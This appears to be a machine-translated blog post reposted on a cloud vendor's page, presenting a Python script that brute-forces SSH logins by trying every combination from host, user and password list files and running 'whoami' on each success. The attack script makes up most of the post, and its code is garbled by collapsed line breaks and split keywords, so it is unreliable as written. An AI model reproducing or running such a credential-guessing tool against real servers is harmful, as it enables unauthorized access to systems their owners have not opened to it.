SSH burst (Python script)

Source: Internet
Author: User

Recently saw a copy of the port in the dark cloud: in order to exercise themselves, follow the port to write the script

#!/usr/local/bin/python#-*-coding:utf-8-*-__author__ = ' Yangxiaodi ' from multiprocessing import Poolfrom pexpect Impor T pxsshimport sysreload (SYS) sys.setdefaultencoding ("Utf-8") datas=[]def Connect (): cmd = ' whoami ' for data in datas             : host = Data.split (': ', 2) [0] user = data.split (': ', 2) [1] Password = data.split (': ', 2) [2] Try:            s = pxssh.pxssh () s.login (Host,user,password) s.sendline (cmd) s.prompt () print ' [+] ssh host: ' +host+ ' User: ' +user+ ' Password: ' +password+ ' Execute command: ' +s.before except:print u ' Error [+] SSH host: ' +host+ ' User: ' +user+ ' password: ' +passworddef read_file (filepath): F = open (filepath). ReadLines () re Turn Fdef Get_host_user_pass (): host = Read_file (' Host.txt ') for h in host:h = H.replace (' \ n ', ') use             r = Read_file (' user.txt ') for u in user:u = U.replace (' \ n ', ') passs = Read_file (' pass.txt ') For PAS in PAsss:pas = Pas.replace (' \ n ', ') datas.append (H + ': ' +u+ ': ' +pas ') return trueresu = []get_ho St_user_pass () p = Pool () resu.append (P.apply_async (connect,args= ())) P.close () P.join () for res in Resu:print Res.get () print ' All subprocesses done. '

There are three files locally user.txt, host.txt, pass.txt

This time not in the script to judge, encountered success or continue to blasting the success of the IP, the reason is to use a multi-process, and then do not change, stay behind to solve. (Anyone help?)

SSH burst (Python script)

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.